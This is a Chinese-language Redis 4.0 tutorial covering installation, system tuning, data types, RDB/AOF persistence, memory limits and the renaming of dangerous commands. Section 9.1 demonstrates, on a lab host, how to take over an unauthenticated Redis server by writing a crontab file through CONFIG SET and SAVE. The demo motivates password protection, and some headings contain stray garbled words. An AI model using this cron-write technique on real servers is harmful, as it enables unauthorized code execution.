一,redis概述與實驗環境說明前端
1.1 什麼是redispython
redis是一種內存型的NoSQL數據庫,優勢是快,經常使用來作緩存用
redis存儲數據的方法是以key-value的形式
value類型支持字符串,列表,哈希等多種類型mysql
1.2 環境說明linux
主機名c++ |
IPgit |
用途redis |
Redis01算法 |
10.1.1.146sql |
Redis-master數據庫 |
[root@Redis01 ~]# cat /etc/redhat-release
CentOS Linux release 7.5.1804 (Core)
[root@Redis01 ~]# uname -r
3.10.0-862.el7.x86_64
[root@Redis01 ~]# systemctl stop firewalld
[root@Redis01 ~]# systemctl disable firewalld
[root@Redis01 ~]# setenforce 0
setenforce: SELinux is disabled
[root@Redis01 ~]# sestatus
SELinux status: disabled
1.3 yum倉庫使用技巧
查找一個命令出自哪一個rpm包
二,Redis服務器4.0版本源碼編譯安裝
2.1 redis下載地址https://redis.io/download
2.2 redis源碼編譯
[root@Redis01 ~]# yum -y install wget gcc gcc-c++ make tar openssl openssl-devel cmake
[root@Redis01 ~]# tar xf redis-4.0.11.tar.gz -C /usr/src/
[root@Redis01 ~]# cd /usr/src/redis-4.0.11/
[root@Redis01 redis-4.0.11]# make && make MALLOC=jemalloc && make PREFIX=/usr/local/redis install
[root@Redis01 ~]# cd /usr/local/redis/
[root@Redis01 redis]# ls
bin
[root@Redis01 redis]# mkdir -p /usr/local/redis/conf
[root@Redis01 redis]# cp /usr/src/redis-4.0.11/redis.conf /usr/local/redis/conf/
[root@Redis01 redis]# cp /usr/src/redis-4.0.11/sentinel.conf /usr/local/redis
/conf/[root@Redis01 redis]# ln -s /usr/local/redis/bin/* /usr/local/bin/
[root@Redis01 redis]# which redis-server
/usr/local/bin/redis-server
[root@Redis01 redis]# redis-server --version
Redis server v=4.0.11 sha=00000000:0 malloc=jemalloc-4.0.3 bits=64 build=4d00
c4dd9c0e3653[root@Redis01 redis]# redis-cli --version
redis-cli 4.0.11
(快照)
三,Redis服務器啓動和系統參數調整
3.1 簡化redis配置文件
[root@Redis01 redis]# pwd
/usr/local/redis
[root@Redis01 redis]# cp conf/redis.conf{,.bak}
[root@Redis01 redis]# egrep -v "^$|^#" conf/redis.conf.bak > conf/redis.conf
[root@Redis01 redis]# mkdir -p /data/redis/ 建立redis數據目錄
修改redis配置文件如下參數
修改爲如下設置
[root@Redis01 redis]# vim conf/redis.conf
[root@Redis01 redis]# cat -n conf/redis.conf | sed -n '1p;3p;4p;7p;9p;11p;21p'
1 bind 0.0.0.0 #監聽地址
3 port 6379 #監聽端口
4 tcp-backlog 1024 #tcp鏈接數
7 daemonize yes #是否後臺啓動
9 pidfile /data/redis/redis.pid #pid存放目錄
11 logfile "/data/redis/redis.log" #日誌存放目錄
21 dir /data/redis #工做目錄
3.3 redis服務器啓動和關閉
啓動redis服務器
[root@Redis01 redis]# redis-server /usr/local/redis/conf/redis.conf
[root@Redis01 redis]# netstat -antup | grep redis
tcp 0 0 0.0.0.0:6379 0.0.0.0:* LISTEN
17416/redis-server
關閉redis服務器
[root@Redis01 redis]# redis-cli -p 6379 -h 127.0.0.1 shutdown
[root@Redis01 redis]# netstat -antup | grep redis
[root@Redis01 redis]# redis-server /usr/local/redis/conf/redis.conf
[root@Redis01 redis]# netstat -antup | grep redis
tcp 0 0 0.0.0.0:6379 0.0.0.0:* LISTEN
17426/redis-server
[root@Redis01 redis]# redis-cli shutdown
[root@Redis01 redis]# netstat -antup | grep redis
鏈接redis服務器
[root@Redis01 ~]# redis-server /usr/local/redis/conf/redis.conf
[root@Redis01 ~]# redis-cli -h 127.0.0.1
127.0.0.1:6379> exit
[root@Redis01 ~]# redis-cli
127.0.0.1:6379> exit
3.4 系統參數優化調整
啓動redis之後,咱們查看系統日誌 cat /data/redis/redis.log
警告提示1:系統文件描述符設置的過小了,才1024,咱們最好設置到10032
警告提示2:對一個高負載的環境來講tcp設置128這個值,過小了。
警告提示3:overcommit_memory=0爲不容許超額搶佔內存,可是,rdb保存可能會失敗。建議將vm.overcommit_memory = 1進行修改
警告提示4:你的內核中啓用了巨大內存頁的支持,這將與redis的延遲內存使用衝突。
(1)調整系統文件描述符
[root@Redis01 ~]# echo "* - nofile 10240" >> /etc/security/limits.conf
退出登錄一下便可生效
[root@Redis01 ~]# exit
[root@Redis01 ~]# ulimit -n
10240
(2)調整系統tcp鏈接數
[root@Redis01 ~]# sysctl -a | grep soma
net.core.somaxconn = 128
sysctl: reading key "net.ipv6.conf.all.stable_secret"
sysctl: reading key "net.ipv6.conf.default.stable_secret"
sysctl: reading key "net.ipv6.conf.ens32.stable_secret"
sysctl: reading key "net.ipv6.conf.lo.stable_secret"
[root@Redis01 ~]# echo "net.core.somaxconn = 10240" >> /etc/sysctl.conf
[root@Redis01 ~]# sysctl -p
net.core.somaxconn = 10240
(3)調整系統內存分配策略
[root@Redis01 ~]# echo "vm.overcommit_memory = 1" >> /etc/sysctl.conf
[root@Redis01 ~]# sysctl -p
net.core.somaxconn = 10240
vm.overcommit_memory = 1
[root@Redis01 ~]# sysctl -a | grep commit
sysctl: reading key "net.ipv6.conf.all.stable_secret"
sysctl: reading key "net.ipv6.conf.default.stable_secret"
sysctl: reading key "net.ipv6.conf.ens32.stable_secret"
sysctl: reading key "net.ipv6.conf.lo.stable_secret"
vm.nr_overcommit_hugepages = 0
vm.overcommit_kbytes = 0
vm.overcommit_memory = 1 #設置好了
vm.overcommit_ratio = 50
(4)關閉系統內核的巨大內存頁支持
[root@Redis01 ~]# echo never > /sys/kernel/mm/transparent_hugepage/enabled
[root@Redis01 ~]# cat /sys/kernel/mm/transparent_hugepage/enabled
always madvise [never]
[root@Redis01 ~]# echo never > /sys/kernel/mm/transparent_hugepage/defrag
[root@Redis01 ~]# cat /sys/kernel/mm/transparent_hugepage/defrag
always madvise [never]
添加到/etc/rc.local
[root@Redis01 ~]# echo 'echo never > /sys/kernel/mm/transparent_hugepage/enabled' >> /etc/rc.local
[root@Redis01 ~]# echo 'echo never > /sys/kernel/mm/transparent_hugepage/defrag' >> /etc/rc.local
[root@Redis01 ~]# tail -2 /etc/rc.local
echo never > /sys/kernel/mm/transparent_hugepage/enabled
echo never > /sys/kernel/mm/transparent_hugepage/defrag
(5)重啓redis-server驗證修改
關閉redis 清空日誌 啓動redis
四,Redis客戶端使用和字符串簡單操做
4.1 使用redis-cli客戶端登錄redis-server
[root@Redis01 ~]# redis-cli
127.0.0.1:6379> exit
[root@Redis01 ~]# redis-cli -h localhost -p 6379
localhost:6379> exit
4.2 redis字符串操做
4.1 使用redis-cli客戶端登錄redis-server
[root@Redis01 ~]# redis-cli
127.0.0.1:6379> set name wwl #增長鍵(key)和值(value)
OK
127.0.0.1:6379> get name #根據鍵獲取值
"wwl"
127.0.0.1:6379> set name xiaomei #修改鍵的值
OK
127.0.0.1:6379> get name #根據鍵獲取值
"xiaomei"
127.0.0.1:6379> del name #刪除,返回1表明刪除成功
(integer) 1
127.0.0.1:6379> GET name #命令不區分大小寫
(nil)
127.0.0.1:6379> set NAME test
OK
127.0.0.1:6379> get name
(nil)
127.0.0.1:6379> get NAME #key區分大小寫
"test"
127.0.0.1:6379> del NAME
(integer) 1
4.3 非交互式操做redis服務器
[root@Redis01 ~]# redis-cli set name welcome
OK
[root@Redis01 ~]# redis-cli get name
"welcome"
[root@Redis01 ~]# redis-cli del name
(integer) 1
[root@Redis01 ~]# redis-cli get name
(nil)
五,Redis列表集合簡單操做
redis的key都是字符串,value支持字符串,列表,集合等
5.1 redis列表的操做,有序的可重複的
列表就是有順序的,可重複的一堆值的組合
[root@Redis01 ~]# redis-cli
127.0.0.1:6379> lpush names yun1 #建立一個列表names,並從左邊推入一個值yun1
(integer) 1
127.0.0.1:6379> lpush names yun2 #向列表names左邊推入一個值yun2
(integer) 2
127.0.0.1:6379> lpush names yun3
(integer) 3
127.0.0.1:6379> lpush names yun4
(integer) 4
127.0.0.1:6379> lpush names yun5
(integer) 5
127.0.0.1:6379> lrange names 0 -1 #查看列表names從索引0開始到結束全部的值
1) "yun5"
2) "yun4"
3) "yun3"
4) "yun2"
5) "yun1"
127.0.0.1:6379> lrange names 0 1 #查看索引0到1的值
1) "yun5"
2) "yun4"
127.0.0.1:6379> lrange names 0 3
1) "yun5"
2) "yun4"
3) "yun3"
4) "yun2"
127.0.0.1:6379> lrange names 0 0
1) "yun5"
127.0.0.1:6379> lpush names yun
(integer) 6
127.0.0.1:6379> lpush names yun
(integer) 7
127.0.0.1:6379> lrange names 0 -1
1) "yun"
2) "yun"
3) "yun5"
4) "yun4"
5) "yun3"
6) "yun2"
7) "yun1"
127.0.0.1:6379> lrem names 1 yun #從左邊數刪除第一個yun
(integer) 1
127.0.0.1:6379> lrem names 1 yun
(integer) 1
127.0.0.1:6379> lrange names 0 -1
1) "yun5"
2) "yun4"
3) "yun3"
4) "yun2"
5) "yun1"
127.0.0.1:6379> lpush names xue #從列表的左邊加入一個元素xue
(integer) 6
127.0.0.1:6379> lpush names xue
(integer) 7
127.0.0.1:6379> lrange names 0 -1
1) "xue"
2) "xue"
3) "yun5"
4) "yun4"
5) "yun3"
6) "yun2"
7) "yun1"
127.0.0.1:6379> lrem names 0 xue #從列表的左邊數刪除全部的雪
(integer) 2
127.0.0.1:6379> lrange names 0 -1
1) "yun5"
2) "yun4"
3) "yun3"
4) "yun2"
5) "yun1"
127.0.0.1:6379> lpop names #移除列表最左邊的元素
"yun5"
127.0.0.1:6379> lpop names
"yun4"
127.0.0.1:6379> lpop names
"yun3"
127.0.0.1:6379> lpop names
"yun2"
127.0.0.1:6379> lpop names
"yun1"
127.0.0.1:6379> lpush names lili
(integer) 1
127.0.0.1:6379> lpush names lili1
(integer) 2
127.0.0.1:6379> lpush names lili12
(integer) 3
127.0.0.1:6379> lrange names 0 -1
1) "lili12"
2) "lili1"
3) "lili"
127.0.0.1:6379> rpop names #移除列表最右邊的元素
"lili"
127.0.0.1:6379> rpop names
"lili1"
127.0.0.1:6379> rpop names
"lili12"
127.0.0.1:6379> lpush wang haha1
(integer) 1
127.0.0.1:6379> lpush wang haha2
(integer) 2
127.0.0.1:6379> lpush wang haha3
(integer) 3
127.0.0.1:6379> lrange wang 0 -1
1) "haha3"
2) "haha2"
3) "haha1"
127.0.0.1:6379> lset wang 0 www #修改列表左起第一個元素
OK
127.0.0.1:6379> lrange wang 0 -1
1) "www"
2) "haha2"
3) "haha1"
5.2 redis集合的操做,無序的不重複的
集合就是不能重複的,無固定順序的列表
127.0.0.1:6379> sadd ages 10 #向集合中添加元素
(integer) 1
127.0.0.1:6379> sadd ages 15
(integer) 1
127.0.0.1:6379> sadd ages 20
(integer) 1
127.0.0.1:6379> sadd ages 25
(integer) 1
127.0.0.1:6379> sadd ages 25 #失敗,集合的元素具備惟一性
(integer) 0
127.0.0.1:6379> smembers ages #查看集合裏的元素
1) "10"
2) "15"
3) "20"
4) "25"
127.0.0.1:6379> srem ages 25 #移除集合裏是25的元素
(integer) 1
127.0.0.1:6379> smembers ages
1) "10"
2) "15"
3) "20"
127.0.0.1:6379> spop ages #隨機移除集合裏的一個元素
"10"
127.0.0.1:6379> smembers ages
1) "15"
2) "20"
127.0.0.1:6379> sismember ages 40 #查找集合裏是否有40的元素
(integer) 0 #集合裏沒有40的元素
127.0.0.1:6379> sismember ages 15
(integer) 1
六,Redis的hash和訂閱簡單操做
6.1 redis的hash操做
hash就是能夠存多個鍵值對的組合(相似python字典)
127.0.0.1:6379> hset info name 'yunjisuan' #增長一個hash
(integer) 1
127.0.0.1:6379> hset info age 25
(integer) 1
127.0.0.1:6379> hset info location 'beijing'
(integer) 1
127.0.0.1:6379> hgetall info
1) "name"
2) "yunjisuan"
3) "age"
4) "25"
5) "location"
6) "beijing"
127.0.0.1:6379> hget info name
"yunjisuan"
127.0.0.1:6379> hdel info name age
(integer) 2
127.0.0.1:6379> hgetall info
1) "location"
2) "beijing"
127.0.0.1:6379> del info
(integer) 1
127.0.0.1:6379> hmset info name 'yunjisuan' age 25 location 'beijing'
OK
127.0.0.1:6379> hgetall info
1) "name"
2) "yunjisuan"
3) "age"
4) "25"
5) "location"
6) "beijing"
6.2 redis的訂閱操做
開啓redis的訂閱功能
[root@Redis01 ~]# redis-cli
127.0.0.1:6379> subscribe yunjisuan #開啓頻道名:yunjisuan的訂閱功能,可開啓多個窗口進行訂閱
Reading messages... (press Ctrl-C to quit)
1) "subscribe"
2) "yunjisuan"
3) (integer) 1
對頻道進行內容推送
[root@Redis01 ~]# redis-cli
127.0.0.1:6379> publish yunjisuan '你真美' #向頻道yunjisuan推送你真美
(integer) 1 #推送成功的人數
再開兩個窗口,查看訂閱信息
[root@Redis01 ~]# redis-cli
127.0.0.1:6379> subscribe yunjisuan
[root@Redis01 ~]# redis-cli
127.0.0.1:6379> subscribe yunjisuan
127.0.0.1:6379> publish yunjisuan 'nihao'
(integer) 3
關掉登陸一個
127.0.0.1:6379> publish yunjisuan 'hahaha'
(integer) 2
七,使用Shell往Redis批量添加數據
(1)批量往redis server上插入數據
[root@Redis01 ~]# for line in `seq -w 10`;do redis-cli set name_${line} value_${line};done
(2)查看key的狀況
[root@Redis01 ~]# redis-cli
127.0.0.1:6379> keys * #查看全部key命令,不建議使用,上千萬的key會使redis服務器堵塞
1) "name_03"
2) "name_08"
3) "name_07"
4) "name_02"
5) "name_10"
6) "name_09"
7) "name_06"
8) "name_05"
9) "name_01"
10) "name_04"
127.0.0.1:6379> randomkey #隨機返回一個key
"name_02"
127.0.0.1:6379> randomkey
"name_07"
127.0.0.1:6379> scan 0 #分頁查看key
1) "0"
2) 1) "name_08"
2) "name_07"
3) "name_02"
4) "name_10"
5) "name_09"
6) "name_03"
7) "name_06"
8) "name_05"
9) "name_01"
10) "name_04"
八,Redis服務器info狀態信息查看
redis提供了一個info命令查看redis服務器的信息,相似Linux提供一個top命令查看系統的信息
[root@Redis01 ~]# redis-cli info
# Server #服務器的信息
redis_version:4.0.11 #redis服務器版本
redis_git_sha1:00000000 #Git SHA1
redis_git_dirty:0 #Git dirty flag
redis_build_id:4d00c4dd9c0e3653 #redis build id
redis_mode:standalone #運行模式,單機或集羣
os:Linux 3.10.0-862.el7.x86_64 x86_64 #redis服務器宿主機操做系統
arch_bits:64 #架構64位
multiplexing_api:epoll #redis所使用的事件處理模型
atomicvar_api:atomic-builtin
gcc_version:4.8.5 #編譯redis時gcc版本
process_id:17876 #redis服務器進程的pid
run_id:be4b0e741fa09976438795ea0d240bfcce94330d #redis服務器的隨機標識符(sentinel和集羣)
tcp_port:6379
uptime_in_seconds:3989
uptime_in_days:0
hz:10
lru_clock:3099797
executable:/root/redis-server
config_file:/usr/local/redis/conf/redis.conf
# Clients
connected_clients:1
client_longest_output_list:0
client_biggest_input_buf:0
blocked_clients:0
# Memory
used_memory:849248
used_memory_human:829.34K
used_memory_rss:2428928
used_memory_rss_human:2.32M
used_memory_peak:910592
used_memory_peak_human:889.25K
used_memory_peak_perc:93.26%
used_memory_overhead:836686
used_memory_startup:786592
used_memory_dataset:12562
used_memory_dataset_perc:20.05%
total_system_memory:1021906944
total_system_memory_human:974.57M
used_memory_lua:37888
used_memory_lua_human:37.00K
maxmemory:0
maxmemory_human:0B
maxmemory_policy:noeviction
mem_fragmentation_ratio:2.86
mem_allocator:jemalloc-4.0.3
active_defrag_running:0
lazyfree_pending_objects:0
# Persistence
loading:0
rdb_changes_since_last_save:7
rdb_bgsave_in_progress:0
rdb_last_save_time:1546603255
rdb_last_bgsave_status:ok
rdb_last_bgsave_time_sec:0
rdb_current_bgsave_time_sec:-1
rdb_last_cow_size:352256
aof_enabled:0
aof_rewrite_in_progress:0
aof_rewrite_scheduled:0
aof_last_rewrite_time_sec:-1
aof_current_rewrite_time_sec:-1
aof_last_bgrewrite_status:ok
aof_last_write_status:ok
aof_last_cow_size:0
# Stats
total_connections_received:27
total_commands_processed:144
instantaneous_ops_per_sec:0
total_net_input_bytes:4876
total_net_output_bytes:124503
instantaneous_input_kbps:0.00
instantaneous_output_kbps:0.00
rejected_connections:0
sync_full:0
sync_partial_ok:0
sync_partial_err:0
expired_keys:0
expired_stale_perc:0.00
expired_time_cap_reached_count:0
evicted_keys:0
keyspace_hits:25
keyspace_misses:11
pubsub_channels:0
pubsub_patterns:0
latest_fork_usec:105
migrate_cached_sockets:0
slave_expires_tracked_keys:0
active_defrag_hits:0
active_defrag_misses:0
active_defrag_key_hits:0
active_defrag_key_misses:0
# Replication
role:master
connected_slaves:0
master_replid:e2baa8fec4ff2b9aa764c386381e9c6556d4c5a0
master_replid2:0000000000000000000000000000000000000000
master_repl_offset:0
second_repl_offset:-1
repl_backlog_active:0
repl_backlog_size:1048576
repl_backlog_first_byte_offset:0
repl_backlog_histlen:0
# CPU
used_cpu_sys:1.65
used_cpu_user:1.15
used_cpu_sys_children:0.00
used_cpu_user_children:0.00
# Cluster
cluster_enabled:0
# Keyspace
db0:keys=10,expires=0,avg_ttl=0
九,Redis服務器加密和無密碼攻擊演示
在這以前先演示一下怎麼操做redis
修改redis的配置文件通常都要重啓redis,可是redis有一種平滑修改的功能
[root@Redis01 ~]# cd /data/redis/
[root@Redis01 redis]# ls
dump.rdb redis.log redis.pid
默認redis是開着持久化存儲的,咱們給它關了
配置文件裏查找一下和save有關的參數
127.0.0.1:6379> config get save
1) "save"
2) "900 1 300 10 60 10000"
由於以前個人機器快照過,因此會有這些信息,如今要去掉它的持久化
127.0.0.1:6379> config set save ""
OK
127.0.0.1:6379> config get save
1) "save"
2) ""
這時它的配置文件沒有任何變化,執行重寫配置文件,再看配置文件已經發生了變化,save的信息已經沒了
127.0.0.1:6379> config rewrite
OK
這就是redis的平滑修改,不須要重啓配置文件
127.0.0.1:6379> config get dir
1) "dir"
2) "/data/redis"
咱們用config get dir發現,redis的工做目錄咱們都會知道在哪,所以咱們只要連上redis,就可以修改它的配置文件
9.1 入侵無密碼redis服務器演示
開啓Redis02,測試效果,開始攻擊
[root@Redis02 ~]# redis-cli -h 10.1.1.146 -p 6379
10.1.1.146:6379> config get dir
1) "dir"
2) "/data/redis"
攻擊以前記得將redis01快照一下。。。。。
10.1.1.146:6379> config set dir /etc/
OK
10.1.1.146:6379> config set dbfilename "crontab"
OK
10.1.1.146:6379> config set save "900 1 300 10 60 10000"
OK
10.1.1.146:6379> config get save
1) "save"
2) "900 1 300 10 60 10000"
10.1.1.146:6379> config rewrite
OK
[root@Redis02 ~]# echo "* * * * * root echo 'attack'" >> /tmp/attack
[root@Redis02 ~]# vim /tmp/attack
[root@Redis02 ~]# cat /tmp/attack #這個文件內容上下必須各有兩個回車
* * * * * root echo 'attack'
[root@Redis02 ~]# cat /tmp/attack | redis-cli -h 10.1.1.146 -x set attack
OK
[root@Redis02 ~]# redis-cli -h 10.1.1.146 save
OK
而後你的redis服務器就會被攻擊了
redis無密碼若是放在公網的話,會被攻擊
9.2給redis增長密碼的兩種方式
(1)經過redis配置文件增長密碼
給配置文件增長密碼參數
[root@Redis01 ~]# echo 'requirepass "yunjisuan"' >> /usr/local/redis/conf/redis.
conf[root@Redis01 ~]# tail -1 /usr/local/redis/conf/redis.conf
requirepass "yunjisuan"
[root@Redis01 ~]# redis-cli shutdown
[root@Redis01 ~]# redis-server /usr/local/redis/conf/redis.conf
[root@Redis01 ~]# redis-cli
127.0.0.1:6379> keys *
(error) NOAUTH Authentication required.
127.0.0.1:6379> auth yunjisuan
OK
127.0.0.1:6379> set name benet
OK
非交互式輸入密碼進行登陸
[root@Redis01 ~]# redis-cli -h 127.0.0.1 -p 6379 -a yunjisuan get name
Warning: Using a password with '-a' option on the command line interface may not be safe.
"benet"
警告:使用-a方式輸入密碼並不安全
(2)使用交互式的方式給redis增長密碼(無需重啓redis)
將以前在配置文件裏設置的密碼參數刪除
[root@Redis01 ~]# sed -i '$d' /usr/local/redis/conf/redis.conf
重啓redis-server
[root@Redis01 ~]# redis-cli -a yunjisuan shutdown
Warning: Using a password with '-a' option on the command line interface may not
be safe.[root@Redis01 ~]# redis-server /usr/local/redis/conf/redis.conf
[root@Redis01 ~]# netstat -antup | grep redis
tcp 0 0 0.0.0.0:6379 0.0.0.0:* LISTEN
23539/redis-server
交互式登錄redis設置密碼
127.0.0.1:6379> set name benet
OK
127.0.0.1:6379> get name
"benet"
127.0.0.1:6379> config get requirepass
1) "requirepass"
2) ""
127.0.0.1:6379> config set requirepass yunjisuan
OK
127.0.0.1:6379> config get requirepass
(error) NOAUTH Authentication required.
127.0.0.1:6379> auth yunjisuan
OK
127.0.0.1:6379> config get requirepass
1) "requirepass"
2) "yunjisuan"
127.0.0.1:6379> config rewrite
OK
127.0.0.1:6379> exit
[root@Redis01 ~]# tail -2 /usr/local/redis/conf/redis.conf
# Generated by CONFIG REWRITE
requirepass "yunjisuan"
十,Redis的RDB存儲方式
10.1 redis的運行方式說明
redis若是提供緩存服務,能夠關閉全部持久化存儲,如此一來redis重啓後全部數據會丟失
開啓rdb或aof持久化存儲,能把redis中的數據持久化到磁盤中。
rdb和aof對性能都有影響,因此建議持久化的操做在從庫上進行
10.2 redis rdb存儲方式,使用save配置開啓rdb存儲或者關閉rdb存儲
與rdb相關的配置文件信息
dir /data/redis/ #dir爲rdb存儲的路徑
dbfilename dump.rdb #rdb存儲文件的名字
save 60 10000 #60s改變10000key,觸發rdb存儲
save 300 10 #300s改變10個key,觸發rdb存儲
save 900 1 #900s改變1個key觸發rdb存儲
rdbcompression no #rdb壓縮最好關閉,影響cpu
0.3 設置開啓或者關閉rdb存儲
提示:默認狀況下rdb持久化存儲是開啓的
[root@Redis01 ~]# redis-cli config set save " " #關閉rdb存儲
OK
[root@Redis01 ~]# redis-cli config rewrite #配置保存
OK
[root@Redis01 ~]# redis-cli config set save "180 1 120 10 60 10000" #開啓rdb
OK
[root@Redis01 ~]# redis-cli config rewrite
OK
flushdb或flushall表明清空redis的數據(這兩個命令之後也是要屏蔽掉的,很危險)
redis-cli info 查看redis裏有多少個鍵,鍵的總數
10.4 進行數據寫入,觀察rdb存儲日誌
輸入1萬條數據
for line in `seq -w 10000`;do redis-cli set key_${line} value1_${line};done
查看日誌信息cat /data/redis/redis.log
發生了1萬條數據改變60秒內,觸發rdb存儲
10.5 redis提供的bgsave命令可以馬上觸發rdb存儲,觀察存儲日誌
[root@Redis01 ~]# redis-cli save #會阻塞前端客戶數據輸入
OK
[root@Redis01 ~]# redis-cli bgsave #後臺啓動新進程進行rdb存儲
Background saving started
#查看日誌
[root@Redis01 ~]# cat /data/redis/redis.log
1228:M 04 Jan 22:26:53.345 * DB saved on disk #save觸發的日誌信息
1228:M 04 Jan 22:27:00.370 * Background saving started by pid 25038 #bgsave觸發的信息
25038:C 04 Jan 22:27:00.376 * DB saved on disk #bgsave觸發的信息
25038:C 04 Jan 22:27:00.377 * RDB: 0 MB of memory used by copy-on-write #bgsave觸發的信息
1228:M 04 Jan 22:27:00.392 * Background saving terminated with success #bgsave觸發的信息
十一,Redis的AOF存儲方式
redis的appendonly(aof)持久化存儲會把用戶每次的操做都記錄到文件中(相似mysqlbinlog)
11.1 動態開啓或者關閉aof
[root@Redis01 ~]# redis-cli
127.0.0.1:6379> config get appendonly
1) "appendonly"
2) "no"
127.0.0.1:6379> config set appendonly "yes"
OK
127.0.0.1:6379> config rewrite
OK
11.2 寫入數據,觀察aof。屢次運行,aof文件不斷增大,rdb文件大小不變(略)
開啓rdb以後瞬間就有了,這時數據庫裏的數據都已經被寫過來了
[root@Redis01 redis]# cat appendonly.aof
[root@Redis01 redis]# du -sh appendonly.aof
460K appendonly.aof
127.0.0.1:6379> flushdb
OK
127.0.0.1:6379> bgrewriteaof
Background append only file rewriting started
11.3 重寫aof文件,整理相同的key,寫入最後的有效值
BGREWRITEAOF
執行一個AOF文件重寫操做。重寫會建立一個當前AOF文件的體積優化版本
即便BGREWRITEAOF執行失敗,也不會有任何數據丟失,由於舊的AOF文件在BGREWRITEAOF成功以前不會被修改。
重寫操做只會在沒有其餘持久化工做在後臺執行時被觸發。
從Redis2.4開始,AOF重寫由Redis自行觸發,BGREWRITEAOF僅僅用於手動觸發重寫操做。
AOF默認狀況下,也是和binlog日誌同樣增量往裏面寫的,測試以下:
127.0.0.1:6379> set name benent
OK
redis有16個庫,0-15,默認是在0裏面寫的
[root@Redis01 redis]# cat appendonly.aof
*2
$6 (指的是下一個命令的字符數)
SELECT
$1
0 ( 先切進第0個大表)
*3
$3
set(以後的動做)
$4
name(以後的動做)
$6
benent(以後的動做)
127.0.0.1:6379> select 0
OK
127.0.0.1:6379> keys *
1) "name"
127.0.0.1:6379> select 1
OK
127.0.0.1:6379[1]> keys *
(empty list or set)
redis不像mysql有庫名還有表名,能夠理解成它只有(0-15)16張大表或者16個大庫,剛開始是默認在第0張大表裏,往裏寫的鍵都在那裏面,select 1就至關於切換到1這個大表裏了,因此裏面沒有,是空的
這就是aof文件裏面記錄的,可是它很差的地方也很突出
127.0.0.1:6379> select 0
OK
127.0.0.1:6379> del name
(integer) 1
再看一下aof是怎麼記錄的
[root@Redis01 redis]# cat appendonly.aof
*2
$6
SELECT
$1
0
*3
$3
set
$4
name
$6
benent
*2
$3
del
$4
name
咱們發現雖然咱們向redis添加了一個key,又刪除了這個key。redis數據庫從本質上來講並無新增任何數據。可是aof文件仍舊把操做都給記錄了。這樣就會致使aof文件最終會很是大。因此aof文件的優化,就是讓aof文件進行重寫,只記錄數據的增量部分。如此aof文件就小不少了。
徹底複製了我以前的操做,可是在數據庫裏,一加一刪是沒用的,反而還會佔大小,若是它一直這麼記錄下去,這個文件會愈來愈大,所以,在3.0以前運維都會寫一個腳本,讓它自動觸發一個叫作bgrewriteaof,它的做用是優化aof,把全部的沒有產生增量的aof文件裏記錄的數據全都刪了
觸發一下這個命令
裏面就沒東西了,將全部沒有產生增量的語句全去掉了
可是4.0就不用了,它有自動觸發
11.4 aof配置自動rewrite機制
在默認配置文件裏,默認存在
獲取aof-rewrite配置
127.0.0.1:6379> config get auto-aof-rewrite*
1) "auto-aof-rewrite-percentage"
2) "100" #默認100%,也就是aof增長一倍後考慮rewrite,兩個條件要同時知足
3) "auto-aof-rewrite-min-size"
4) "67108864" #默認64mb,也就是aof達到64M後考慮rewirte,兩個條件要同時知足
這就是爲何以前導入了一萬條數據卻發現aof並無多大的緣由
aof和binlog還有一個最大的不一樣是,binlog就記錄以後的,aof一旦重寫,它不光重寫以後的,全部的鍵它都會寫進去,aof文件是能夠來進行數據遷移的,rdb是用來作主從複製的
[root@Redis01 ~]# for line in `seq -w 10000`;do redis-cli set key_${line} value
1_${line};done
剛開aof,若是它是增量的話,文件大小應該是0,若是它沒有自動觸發aof重寫的話,它也是0,可是因爲一萬條太多了它就自動觸發這個機制了,aof重寫還用來數據遷移,也就是說aof如今是460k,裏面全部的鍵都寫到了aof裏了,並且是增量寫的,只要觸發了aof,它是把redis裏的全部的鍵從新寫一遍
aof在工做中是用來作數據遷移的,rdb是用來作主從複製的
aof數據遷移也有不少種方式,若是可以ping通,直接建個從庫數據就遷移過去了,好比要把redis從本地遷移到雲上,在雲上建一個從庫,若是能連到公司裏,數據本身就過去了,數據過去以後,再把它變成主庫就好了,若是碰到不通的,數據鏈接不了,那就要把aof文件給弄過去。
十二,Redis最大內存設置和刪除算法
redis-cli flushall #手動清空redis裏全部數據
12.1 redis的鍵設置有效期,過時自動刪除
127.0.0.1:6379> set name yunjisuan
OK
127.0.0.1:6379> get name
"yunjisuan"
127.0.0.1:6379> ttl name
(integer) -1
127.0.0.1:6379> expire name 5
(integer) 1
127.0.0.1:6379> ttl name
(integer) 3
127.0.0.1:6379> ttl name
(integer) 2
127.0.0.1:6379> ttl name
(integer) 1
127.0.0.1:6379> ttl name
(integer) 0
127.0.0.1:6379> ttl name
(integer) -2
127.0.0.1:6379> get name
(nil)
12.2 查看設置最大內存
查看和設定最大內存限制
127.0.0.1:6379> config get maxmemory
1) "maxmemory"
2) "0" #默認對內存無限制
限制1M
127.0.0.1:6379> config set maxmemory 1M
OK
127.0.0.1:6379> config get maxmemory
1) "maxmemory"
2) "1000000"
127.0.0.1:6379> config rewrite
OK
12.3 可選擇的刪除算法
[root@Redis01 ~]# redis-cli config get maxmemory-policy
1) "maxmemory-policy"
2) "noeviction"
在工做中最經常使用的是LRU算法,一旦內存不夠用了,它會優先刪除設了過時時間的鍵值
12.4 模擬超過內存
127.0.0.1:6379> keys *
(empty list or set)
127.0.0.1:6379> exit
[root@Redis01 ~]# for line in `seq -w 2000`;do redis-cli set key_${line} value_
${line};done
[root@Redis01 ~]# redis-cli info
到達了內存限制,已經不容許再往裏面寫了。
12.5 設置刪除算法
將刪除算法設置爲volatile-lru
127.0.0.1:6379> config get maxmemory-policy
1) "maxmemory-policy"
2) "noeviction"
127.0.0.1:6379> config set maxmemory-policy volatile-lru
OK
127.0.0.1:6379> config get maxmemory-policy
1) "maxmemory-policy"
2) "volatile-lru"
127.0.0.1:6379> config rewrite
OK
127.0.0.1:6379> get key_0111
"value_0111"
127.0.0.1:6379> expire key_0111 3600
(integer) 1
127.0.0.1:6379> ttl key_0111
(integer) -2
127.0.0.1:6379> get key_0111
(nil)
說明:由上述測試能夠發現volatile-lru算法,當內存到了最大值之後,會優先刪除有過時時間的key。
十三,Redis禁用屏蔽危險命令
13.1 redis禁用的命令
FLUSHALL和FLUSHDB會清除redis的數據,比較危險
KEYS在鍵過多的時候使用會阻塞業務請求
13.2 redis禁用危險命令配置代碼以下(寫入配置文件便可,此配置沒法平滑更新)
rename-command FLUSHALL " " #將命令更名成空
rename-command FLUSHDB " " #將命令更名成空
rename-command KEYS " " #將命令更名成空
[root@Redis01 ~]# echo 'rename-command FLUSHALL ""' >> /usr/local/redis/conf/r
edis.conf[root@Redis01 ~]# echo 'rename-command FLUSHDB ""' >> /usr/local/redis/conf/re
